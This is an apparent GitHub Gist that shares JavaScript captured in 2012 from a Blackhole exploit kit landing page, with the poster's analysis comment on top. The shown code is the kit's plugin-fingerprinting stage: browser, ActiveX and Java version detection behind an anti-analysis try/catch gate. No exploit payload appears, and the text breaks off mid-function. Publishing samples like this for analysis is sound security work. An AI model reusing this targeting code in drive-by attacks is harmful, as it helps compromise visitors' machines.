Created
November 15, 2012 15:53
-
-
Save scottschiller/4079341 to your computer and use it in GitHub Desktop.
"Blackhole" Flash + Adobe PDF Reader + Java/getJavaInfo.jar web exploit found in the wild, 11/15/2012
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Looks as though this thing scans for vulnerable versions of Flash, Adobe PDF Reader and Java plugins. | |
* Oddly, the functions j1/j2/p1/p2/f1/f2 (which would presumably do the dirty work) are empty. | |
* It's worth noting that the hosting (bad) page says "Please wait, you will be forwarded / IE and Firefox-compatible only". | |
* Allegedly this is part of the "Blackhole Exploit Kit". | |
* Related details / video etc.: | |
* http://malwaremustdie.blogspot.com/2012/09/important-blackhole-exploit-kit-starts.html | |
* http://malware.dontneedcoffee.com/2012/09/BHEK2.0landing.html | |
*/ | |
try { | |
if (window.document) window.document.body = "asd" | |
} catch (egewg) { | |
var PluginDetect = { | |
version: "0.7.9", | |
name: "PluginDetect", | |
handler: function (c, b, a) { | |
return function () { | |
c(b, a) | |
} | |
}, | |
openTag: "<", | |
isDefined: function (b) { | |
return typeof b != "undefined" | |
}, | |
isArray: function (b) { | |
return (/array/i).test(Object.prototype.toString.call(b)) | |
}, | |
isFunc: function (b) { | |
return typeof b == "function" | |
}, | |
isString: function (b) { | |
return typeof b == "string" | |
}, | |
isNum: function (b) { | |
return typeof b == "number" | |
}, | |
isStrNum: function (b) { | |
return (typeof b == "string" && (/\d/).test(b)) | |
}, | |
getNumRegx: /[\d][\d\.\_,-]*/, | |
splitNumRegx: /[\.\_,-]/g, | |
getNum: function (b, c) { | |
var d = this, | |
a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null; | |
return a ? a[0] : null | |
}, | |
compareNums: function (h, f, d) { | |
var e = this, | |
c, b, a, g = parseInt; | |
if (e.isStrNum(h) && e.isStrNum(f)) { | |
if (e.isDefined(d) && d.compareNums) { | |
return d.compareNums(h, f) | |
} | |
c = h.split(e.splitNumRegx); | |
b = f.split(e.splitNumRegx); | |
for (a = 0; a < Math.min(c.length, b.length); a++) { | |
if (g(c[a], 10) > g(b[a], 10)) { | |
return 1 | |
} | |
if (g(c[a], 10) < g(b[a], 10)) { | |
return -1 | |
} | |
} | |
} | |
return 0 | |
}, | |
formatNum: function (b, c) { | |
var d = this, | |
a, e; | |
if (!d.isStrNum(b)) { | |
return null | |
} | |
if (!d.isNum(c)) { | |
c = 4 | |
} | |
c--; | |
e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]); | |
for (a = 0; a < 4; a++) { | |
if (/^(0+)(.+)$/.test(e[a])) { | |
e[a] = RegExp.$2 | |
} | |
if (a > c || !(/\d/).test(e[a])) { | |
e[a] = "0" | |
} | |
} | |
return e.slice(0, 4).join(",") | |
}, | |
$$hasMimeType: function (a) { | |
return function (c) { | |
if (!a.isIE && c) { | |
var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []); | |
for (b = 0; b < d.length; b++) { | |
if (a.isString(d[b]) && /[^\s]/.test(d[b])) { | |
f = navigator.mimeTypes[d[b]]; | |
e = f ? f.enabledPlugin : 0; | |
if (e && (e.name || e.description)) { | |
return f | |
} | |
} | |
} | |
} | |
return null | |
} | |
}, | |
findNavPlugin: function (l, e, c) { | |
var j = this, | |
h = new RegExp(l, "i"), | |
d = (!j.isDefined(e) || e) ? /\d/ : 0, | |
k = c ? new RegExp(c, "i") : 0, | |
a = navigator.plugins, | |
g = "", | |
f, b, m; | |
for (f = 0; f < a.length; f++) { | |
m = a[f].description || g; | |
b = a[f].name || g; | |
if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) { | |
if (!k || !(k.test(m) || k.test(b))) { | |
return a[f] | |
} | |
} | |
} | |
return null | |
}, | |
getMimeEnabledPlugin: function (k, m, c) { | |
var e = this, | |
f, b = new RegExp(m, "i"), | |
h = "", | |
g = c ? new RegExp(c, "i") : 0, | |
a, l, d, j = e.isString(k) ? [k] : k; | |
for (d = 0; d < j.length; d++) { | |
if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) { | |
l = f.description || h; | |
a = f.name || h; | |
if (b.test(l) || b.test(a)) { | |
if (!g || !(g.test(l) || g.test(a))) { | |
return f | |
} | |
} | |
} | |
} | |
return 0 | |
}, | |
getPluginFileVersion: function (f, b) { | |
var h = this, | |
e, d, g, a, c = -1; | |
if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) { | |
return b | |
} | |
if (!b) { | |
return e | |
} | |
e = h.formatNum(e); | |
b = h.formatNum(b); | |
d = b.split(h.splitNumRegx); | |
g = e.split(h.splitNumRegx); | |
for (a = 0; a < d.length; a++) { | |
if (c > -1 && a > c && d[a] != "0") { | |
return b | |
} | |
if (g[a] != d[a]) { | |
if (c == -1) { | |
c = a | |
} | |
if (d[a] != "0") { | |
return b | |
} | |
} | |
} | |
return e | |
}, | |
AXO: window.ActiveXObject, | |
getAXO: function (a) { | |
var f = null, | |
d, b = this, | |
c = {}; | |
try { | |
f = new b.AXO(a) | |
} catch (d) {} | |
return f | |
}, | |
convertFuncs: function (f) { | |
var a, g, d, b = /^[\$][\$]/, | |
c = this; | |
for (a in f) { | |
if (b.test(a)) { | |
try { | |
g = a.slice(2); | |
if (g.length > 0 && !f[g]) { | |
f[g] = f[a](f); | |
delete f[a] | |
} | |
} catch (d) {} | |
} | |
} | |
}, | |
initObj: function (e, b, d) { | |
var a, c; | |
if (e) { | |
if (e[b[0]] == 1 || d) { | |
for (a = 0; a < b.length; a = a + 2) { | |
e[b[a]] = b[a + 1] | |
} | |
} | |
for (a in e) { | |
c = e[a]; | |
if (c && c[b[0]] == 1) { | |
this.initObj(c, b) | |
} | |
} | |
} | |
}, | |
initScript: function () { | |
var d = this, | |
a = navigator, | |
h, i = document, | |
l = a.userAgent || "", | |
j = a.vendor || "", | |
b = a.platform || "", | |
k = a.product || ""; | |
d.initObj(d, ["$", d]); | |
for (h in d.Plugins) { | |
if (d.Plugins[h]) { | |
d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1) | |
} | |
} | |
d.convertFuncs(d); | |
d.OS = 100; | |
if (b) { | |
var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100]; | |
for (h = g.length - 2; h >= 0; h = h - 2) { | |
if (g[h] && new RegExp(g[h], "i").test(b)) { | |
d.OS = g[h + 1]; | |
break | |
} | |
} | |
}; | |
d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null; | |
d.isIE = new Function("return/*@cc_on!@*/!1")(); | |
d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null; | |
d.ActiveXEnabled = false; | |
if (d.isIE) { | |
var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"]; | |
for (h = 0; h < m.length; h++) { | |
if (d.getAXO(m[h])) { | |
d.ActiveXEnabled = true; | |
break | |
} | |
} | |
}; | |
d.isGecko = (/Gecko/i).test(k) && (/Gecko\s*\/\s*\d/i).test(l); | |
d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : "0.9") : null; | |
d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l); | |
d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null; | |
d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l); | |
d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null; | |
d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l); | |
d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null; | |
d.addWinEvent("load", d.handler(d.runWLfuncs, d)) | |
}, | |
init: function (d) { | |
var c = this, | |
b, d, a = { | |
status: -3, | |
plugin: 0 | |
}; | |
if (!c.isString(d)) { | |
return a | |
} | |
if (d.length == 1) { | |
c.getVersionDelimiter = d; | |
return a | |
} | |
d = d.toLowerCase().replace(/\s/g, ""); | |
b = c.Plugins[d]; | |
if (!b || !b.getVersion) { | |
return a | |
} | |
a.plugin = b; | |
if (!c.isDefined(b.installed)) { | |
b.installed = null; | |
b.version = null; | |
b.version0 = null; | |
b.getVersionDone = null; | |
b.pluginName = d | |
} | |
c.garbage = false; | |
if (c.isIE && !c.ActiveXEnabled && d !== "Ja" + "va") { | |
a.status = -2; | |
return a | |
} | |
a.status = 1; | |
return a | |
}, | |
fPush: function (b, a) { | |
var c = this; | |
if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) { | |
a.push(b) | |
} | |
}, | |
callArray: function (b) { | |
var c = this, | |
a; | |
if (c.isArray(b)) { | |
for (a = 0; a < b.length; a++) { | |
if (b[a] === null) { | |
return | |
} | |
c.call(b[a]); | |
b[a] = null | |
} | |
} | |
}, | |
call: function (c) { | |
var b = this, | |
a = b.isArray(c) ? c.length : -1; | |
if (a > 0 && b.isFunc(c[0])) { | |
c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0) | |
} else { | |
if (b.isFunc(c)) { | |
c(b) | |
} | |
} | |
}, | |
$$isMinVersion: function (a) { | |
return function (h, g, d, c) { | |
var e = a.init(h), | |
f, b = -1, | |
j = {}; | |
if (e.status < 0) { | |
return e.status | |
} | |
f = e.plugin; | |
g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0")); | |
if (f.getVersionDone != 1) { | |
f.getVersion(g, d, c); | |
if (f.getVersionDone === null) { | |
f.getVersionDone = 1 | |
} | |
} | |
a.cleanup(); | |
if (f.installed !== null) { | |
b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1))) | |
}; | |
return b | |
} | |
}, | |
getVersionDelimiter: ",", | |
$$getVersion: function (a) { | |
return function (g, d, c) { | |
var e = a.init(g), | |
f, b, h = {}; | |
if (e.status < 0) { | |
return null | |
}; | |
f = e.plugin; | |
if (f.getVersionDone != 1) { | |
f.getVersion(null, d, c); | |
if (f.getVersionDone === null) { | |
f.getVersionDone = 1 | |
} | |
} | |
a.cleanup(); | |
b = (f.version || f.version0); | |
b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b; | |
return b | |
} | |
}, | |
cleanup: function () { | |
var a = this; | |
if (a.garbage && a.isDefined(window.CollectGarbage)) { | |
window.CollectGarbage() | |
} | |
}, | |
addWinEvent: function (d, c) { | |
var e = this, | |
a = window, | |
b; | |
if (e.isFunc(c)) { | |
if (a.addEventListener) { | |
a.addEventListener(d, c, false) | |
} else { | |
if (a.attachEvent) { | |
a.attachEvent("on" + d, c) | |
} else { | |
b = a["on" + d]; | |
a["on" + d] = e.winHandler(c, b) | |
} | |
} | |
} | |
}, | |
winHandler: function (d, c) { | |
return function () { | |
d(); | |
if (typeof c == "function") { | |
c() | |
} | |
} | |
}, | |
WLfuncs0: [], | |
WLfuncs: [], | |
runWLfuncs: function (a) { | |
var b = {}; | |
a.winLoaded = true; | |
a.callArray(a.WLfuncs0); | |
a.callArray(a.WLfuncs); | |
if (a.onDoneEmptyDiv) { | |
a.onDoneEmptyDiv() | |
} | |
}, | |
winLoaded: false, | |
$$onWindowLoaded: function (a) { | |
return function (b) { | |
if (a.winLoaded) { | |
a.call(b) | |
} else { | |
a.fPush(b, a.WLfuncs) | |
} | |
} | |
}, | |
$$onDetectionDone: function (a) { | |
return function (h, g, c, b) { | |
var d = a.init(h), | |
k, e, j = {}; | |
if (d.status == -3) { | |
return -1 | |
} | |
e = d.plugin; | |
if (!a.isArray(e.funcs)) { | |
e.funcs = [] | |
} | |
if (e.getVersionDone != 1) { | |
k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b) | |
} | |
if (e.installed != -0.5 && e.installed != 0.5) { | |
a.call(g); | |
return 1 | |
} | |
if (e.NOTF) { | |
a.fPush(g, e.funcs); | |
return 0 | |
} | |
return 1 | |
} | |
}, | |
div: null, | |
divID: "plugindetect", | |
divWidth: 50, | |
pluginSize: 1, | |
emptyDiv: function () { | |
var d = this, | |
b, h, c, a, f, g; | |
if (d.div && d.div.childNodes) { | |
for (b = d.div.childNodes.length - 1; b >= 0; b--) { | |
c = d.div.childNodes[b]; | |
if (c && c.childNodes) { | |
for (h = c.childNodes.length - 1; h >= 0; h--) { | |
g = c.childNodes[h]; | |
try { | |
c.removeChild(g) | |
} catch (f) {} | |
} | |
} | |
if (c) { | |
try { | |
d.div.removeChild(c) | |
} catch (f) {} | |
} | |
} | |
} | |
if (!d.div) { | |
a = document.getElementById(d.divID); | |
if (a) { | |
d.div = a | |
} | |
} | |
if (d.div && d.div.parentNode) { | |
try { | |
d.div.parentNode.removeChild(d.div) | |
} catch (f) {} | |
d.div = null | |
} | |
}, | |
DONEfuncs: [], | |
onDoneEmptyDiv: function () { | |
var c = this, | |
a, b; | |
if (!c.winLoaded) { | |
return | |
} | |
if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) { | |
return | |
} | |
for (a in c) { | |
b = c[a]; | |
if (b && b.funcs) { | |
if (b.OTF == 3) { | |
return | |
} | |
if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) { | |
return | |
} | |
} | |
} | |
for (a = 0; a < c.DONEfuncs.length; a++) { | |
c.callArray(c.DONEfuncs) | |
} | |
c.emptyDiv() | |
}, | |
getWidth: function (c) { | |
if (c) { | |
var a = c.scrollWidth || c.offsetWidth, | |
b = this; | |
if (b.isNum(a)) { | |
return a | |
} | |
} | |
return -1 | |
}, | |
getTagStatus: function (m, g, a, b) { | |
var c = this, | |
f, k = m.span, | |
l = c.getWidth(k), | |
h = a.span, | |
j = c.getWidth(h), | |
d = g.span, | |
i = c.getWidth(d); | |
if (!k || !h || !d || !c.getDOMobj(m)) { | |
return -2 | |
} | |
if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) { | |
return 0 | |
} | |
if (l >= i) { | |
return -1 | |
} | |
try { | |
if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) { | |
if (!m.winLoaded && c.winLoaded) { | |
return 1 | |
} | |
if (m.winLoaded && c.isNum(b)) { | |
if (!c.isNum(m.count)) { | |
m.count = b | |
} | |
if (b - m.count >= 10) { | |
return 1 | |
} | |
} | |
} | |
} catch (f) {} | |
return 0 | |
}, | |
getDOMobj: function (g, a) { | |
var f, d = this, | |
c = g ? g.span : 0, | |
b = c && c.firstChild ? 1 : 0; | |
try { | |
if (b && a) { | |
d.div.focus() | |
} | |
} catch (f) {} | |
return b ? c.firstChild : null | |
}, | |
setStyle: function (b, g) { | |
var f = b.style, | |
a, d, c = this; | |
if (f && g) { | |
for (a = 0; a < g.length; a = a + 2) { | |
try { | |
f[g[a]] = g[a + 1] | |
} catch (d) {} | |
} | |
} | |
}, | |
insertDivInBody: function (i, g) { | |
var f, c = this, | |
h = "pd33993399", | |
b = null, | |
d = g ? window.top.document : window.document, | |
a = d.getElementsByTagName("body")[0] || d.body; | |
if (!a) { | |
try { | |
d.write('<div id="' + h + '">.' + c.openTag + "/div>"); | |
b = d.getElementById(h) | |
} catch (f) {} | |
} | |
a = d.getElementsByTagName("body")[0] || d.body; | |
if (a) { | |
a.insertBefore(i, a.firstChild); | |
if (b) { | |
a.removeChild(b) | |
} | |
} | |
}, | |
insertHTML: function (f, b, g, a, k) { | |
var l, m = document, | |
j = this, | |
p, o = m.createElement("span"), | |
n, i; | |
var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"]; | |
var h = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;"; | |
if (!j.isDefined(a)) { | |
a = "" | |
} | |
if (j.isString(f) && (/[^\s]/).test(f)) { | |
f = f.toLowerCase().replace(/\s/g, ""); | |
p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" '; | |
p += 'style="' + h + 'display:inline;" '; | |
for (n = 0; n < b.length; n = n + 2) { | |
if (/[^\s]/.test(b[n + 1])) { | |
p += b[n] + '="' + b[n + 1] + '" ' | |
} | |
} | |
p += ">"; | |
for (n = 0; n < g.length; n = n + 2) { | |
if (/[^\s]/.test(g[n + 1])) { | |
p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />' | |
} | |
} | |
p += a + j.openTag + "/" + f + ">" | |
} else { | |
p = a | |
} | |
if (!j.div) { | |
i = m.getElementById(j.divID); | |
if (i) { | |
j.div = i | |
} else { | |
j.div = m.createElement("div"); | |
j.div.id = j.divID | |
} | |
j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"])); | |
if (!i) { | |
j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]); | |
j.insertDivInBody(j.div) | |
} | |
} | |
if (j.div && j.div.parentNode) { | |
j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"])); | |
try { | |
o.innerHTML = p | |
} catch (l) {}; | |
try { | |
j.div.appendChild(o) | |
} catch (l) {}; | |
return { | |
span: o, | |
winLoaded: j.winLoaded, | |
tagName: f, | |
outerHTML: p | |
} | |
} | |
return { | |
span: null, | |
winLoaded: j.winLoaded, | |
tagName: "", | |
outerHTML: p | |
} | |
}, | |
file: { | |
$: 1, | |
any: "fileStorageAny999", | |
valid: "fileStorageValid999", | |
save: function (d, f, c) { | |
var b = this, | |
e = b.$, | |
a; | |
if (d && e.isDefined(c)) { | |
if (!d[b.any]) { | |
d[b.any] = [] | |
} | |
if (!d[b.valid]) { | |
d[b.valid] = [] | |
} | |
d[b.any].push(c); | |
a = b.split(f, c); | |
if (a) { | |
d[b.valid].push(a) | |
} | |
} | |
}, | |
getValidLength: function (a) { | |
return a && a[this.valid] ? a[this.valid].length : 0 | |
}, | |
getAnyLength: function (a) { | |
return a && a[this.any] ? a[this.any].length : 0 | |
}, | |
getValid: function (c, a) { | |
var b = this; | |
return c && c[b.valid] ? b.get(c[b.valid], a) : null | |
}, | |
getAny: function (c, a) { | |
var b = this; | |
return c && c[b.any] ? b.get(c[b.any], a) : null | |
}, | |
get: function (d, a) { | |
var c = d.length - 1, | |
b = this.$.isNum(a) ? a : c; | |
return (b < 0 || b > c) ? null : d[b] | |
}, | |
split: function (g, c) { | |
var b = this, | |
e = b.$, | |
f = null, | |
a, d; | |
g = g ? g.replace(".", "\.") : ""; | |
d = new RegExp("^(.*[^\/])(" + g + "\s*)$"); | |
if (e.isString(c) && d.test(c)) { | |
a = (RegExp.$1).split("/"); | |
f = { | |
name: a[a.length - 1], | |
ext: RegExp.$2, | |
full: c | |
}; | |
a[a.length - 1] = ""; | |
f.path = a.join("/") | |
} | |
return f | |
}, | |
z: 0 | |
}, | |
Plugins: { | |
java: { | |
mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"], | |
classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", | |
navigator: { | |
a: window.navigator.javaEnabled(), | |
javaEnabled: function () { | |
return this.a | |
}, | |
mimeObj: 0, | |
pluginObj: 0 | |
}, | |
OTF: null, | |
minIEver: 7, | |
debug: 0, | |
debugEnable: function () { | |
var a = this, | |
b = a.$; | |
a.debug = 1 | |
}, | |
isDisabled: { | |
$: 1, | |
DTK: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0") < 0)) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) { | |
return 1 | |
} | |
return 0 | |
}, | |
AXO: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0)) | |
}, | |
navMime: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.isIE || !a.mimeObj || !a.pluginObj) { | |
return 1 | |
} | |
return 0 | |
}, | |
navPlugin: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.isIE || !a.mimeObj || !a.pluginObj) { | |
return 1 | |
} | |
return 0 | |
}, | |
windowDotJava: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
if (!window.java) { | |
return 1 | |
} | |
if (c.OS == 2 && c.verOpera && c.verOpera < 9.2 && c.verOpera >= 9) { | |
return 1 | |
} | |
return 0 | |
}, | |
allApplets: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.OS >= 20) { | |
return 0 | |
} | |
if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
if ((d.verGecko && d.compareNums(d.verGecko, d.formatNum("2")) < 0) && !a.mimeObj && !c.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
return 0 | |
}, | |
AppletTag: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
return d.isIE ? !a.javaEnabled() : 0 | |
}, | |
ObjectTag: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
return c.isIE ? !c.ActiveXEnabled : 0 | |
}, | |
z: 0 | |
}, | |
getVerifyTagsDefault: function () { | |
var a = this, | |
c = a.$, | |
b = [1, 0, 1]; | |
if (c.OS >= 20) { | |
return b | |
} | |
if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && c.compareNums(c.verGecko, c.formatNum("2")) < 0) || (c.isSafari && (!c.verSafari || c.compareNums(c.verSafari, c.formatNum("4")) < 0)) || (c.verOpera && c.verOpera < 10)) { | |
b = [1, 1, 1] | |
} | |
return b | |
}, | |
getVersion: function (j, g, i) { | |
var b = this, | |
d = b.$, | |
e, a = b.applet, | |
h = b.verify, | |
k = b.navigator, | |
f = null, | |
l = null, | |
c = null; | |
if (b.getVersionDone === null) { | |
b.OTF = 0; | |
k.mimeObj = d.hasMimeType(b.mimeType); | |
if (k.mimeObj) { | |
k.pluginObj = k.mimeObj.enabledPlugin | |
} | |
if (h) { | |
h.begin() | |
} | |
} | |
a.setVerifyTagsArray(i); | |
d.file.save(b, ".jar", g); | |
if (b.getVersionDone === 0) { | |
if (a.should_Insert_Query_Any()) { | |
e = a.insert_Query_Any(); | |
b.setPluginStatus(e[0], e[1], f) | |
} | |
return | |
} | |
if ((!f || b.debug) && b.DTK.query().version) { | |
f = b.DTK.version | |
} | |
if ((!f || b.debug) && b.navMime.query().version) { | |
f = b.navMime.version | |
} | |
if ((!f || b.debug) && b.navPlugin.query().version) { | |
f = b.navPlugin.version | |
} | |
if ((!f || b.debug) && b.AXO.query().version) { | |
f = b.AXO.version | |
} | |
if (b.nonAppletDetectionOk(f)) { | |
c = f | |
} | |
if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) { | |
e = b.lang.System.getProperty(); | |
if (e[0]) { | |
f = e[0]; | |
c = e[0]; | |
l = e[1] | |
} | |
} | |
b.setPluginStatus(c, l, f); | |
if (a.should_Insert_Query_Any()) { | |
e = a.insert_Query_Any(); | |
if (e[0]) { | |
c = e[0]; | |
l = e[1] | |
} | |
} | |
b.setPluginStatus(c, l, f) | |
}, | |
nonAppletDetectionOk: function (b) { | |
var d = this, | |
e = d.$, | |
a = d.navigator, | |
c = 1; | |
if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) { | |
c = 0 | |
} else { | |
if (e.OS >= 20) {} else { | |
if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) { | |
c = 0 | |
} | |
} | |
} | |
return c | |
}, | |
setPluginStatus: function (d, f, a) { | |
var c = this, | |
e = c.$, | |
b; | |
a = a || c.version0; | |
if (c.OTF > 0) { | |
d = d || c.lang.System.getProperty()[0] | |
} | |
if (c.OTF < 3) { | |
b = d ? 1 : (a ? -0.2 : -1); | |
if (c.installed === null || b > c.installed) { | |
c.installed = b | |
} | |
} | |
if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) { | |
c.installed = a ? -0.2 : -1 | |
}; | |
if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) { | |
c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5 | |
} | |
if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) { | |
if (d) { | |
c.installed = 1 | |
} else { | |
if (c.NOTF.isJavaActive(1) == 1) { | |
if (a) { | |
c.installed = 1; | |
d = a | |
} else { | |
c.installed = 0 | |
} | |
} else { | |
if (a) { | |
c.installed = -0.2 | |
} else { | |
c.installed = -1 | |
} | |
} | |
} | |
}; | |
if (a) { | |
c.version0 = e.formatNum(e.getNum(a)) | |
} | |
if (d) { | |
c.version = e.formatNum(e.getNum(d)) | |
} | |
if (f && e.isString(f)) { | |
c.vendor = f | |
} | |
if (!c.vendor) { | |
c.vendor = "" | |
} | |
if (c.verify && c.verify.isEnabled()) { | |
c.getVersionDone = 0 | |
} else { | |
if (c.getVersionDone != 1) { | |
if (c.OTF < 2) { | |
c.getVersionDone = 0 | |
} else { | |
c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1 | |
} | |
} | |
} | |
}, | |
DTK: { | |
$: 1, | |
hasRun: 0, | |
status: null, | |
VERSIONS: [], | |
version: "", | |
HTML: null, | |
Plugin2Status: null, | |
classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], | |
mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"], | |
disabled: function () { | |
return this.$$.isDisabled.DTK() | |
}, | |
query: function () { | |
var k = this, | |
g = k.$, | |
d = k.$$, | |
j, l, h, m = {}, f = {}, a, c = null, | |
i = null, | |
b = (k.hasRun || k.disabled()); | |
k.hasRun = 1; | |
if (b) { | |
return k | |
} | |
k.status = 0; | |
if (g.isIE && g.verIE >= 6) { | |
for (l = 0; l < k.classID.length; l++) { | |
k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []); | |
c = g.getDOMobj(k.HTML); | |
try { | |
if (c && c.jvms) { | |
break | |
} | |
} catch (j) {} | |
} | |
} else { | |
if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) { | |
k.HTML = g.insertHTML("object", ["type", h.type], []); | |
c = g.getDOMobj(k.HTML) | |
} | |
} | |
if (c) { | |
try { | |
a = c.jvms; | |
if (a) { | |
i = a.getLength(); | |
if (g.isNum(i)) { | |
k.status = i > 0 ? 1 : -1; | |
for (l = 0; l < i; l++) { | |
h = g.getNum(a.get(i - 1 - l).version); | |
if (h) { | |
k.VERSIONS.push(h); | |
f["a" + g.formatNum(h)] = 1 | |
} | |
} | |
} | |
} | |
} catch (j) {} | |
} | |
h = 0; | |
for (l in f) { | |
h++ | |
} | |
if (h && h !== k.VERSIONS.length) { | |
k.VERSIONS = [] | |
} | |
if (k.VERSIONS.length) { | |
k.version = g.formatNum(k.VERSIONS[0]) | |
}; | |
return k | |
} | |
}, | |
AXO: { | |
$: 1, | |
hasRun: 0, | |
VERSIONS: [], | |
version: "", | |
disabled: function () { | |
return this.$$.isDisabled.AXO() | |
}, | |
JavaVersions: [ | |
[1, 9, 1, 40], | |
[1, 8, 1, 40], | |
[1, 7, 1, 40], | |
[1, 6, 0, 40], | |
[1, 5, 0, 30], | |
[1, 4, 2, 30], | |
[1, 3, 1, 30] | |
], | |
query: function () { | |
var a = this, | |
e = a.$, | |
b = a.$$, | |
c = (a.hasRun || a.disabled()); | |
a.hasRun = 1; | |
if (c) { | |
return a | |
} | |
var i = [], | |
k = [1, 5, 0, 14], | |
j = [1, 6, 0, 2], | |
h = [1, 3, 1, 0], | |
g = [1, 4, 2, 0], | |
f = [1, 5, 0, 7], | |
d = b.getInfo ? true : false, | |
l = {}; | |
if (e.verIE >= b.minIEver) { | |
i = a.search(j, j, d); | |
if (i.length > 0 && d) { | |
i = a.search(k, k, d) | |
} | |
} else { | |
if (d) { | |
i = a.search(f, f, true) | |
} | |
if (i.length == 0) { | |
i = a.search(h, g, false) | |
} | |
} | |
if (i.length) { | |
a.version = i[0]; | |
a.VERSIONS = [].concat(i) | |
}; | |
return a | |
}, | |
search: function (a, j, p) { | |
var h, d, f = this, | |
e = f.$, | |
k = f.$$, | |
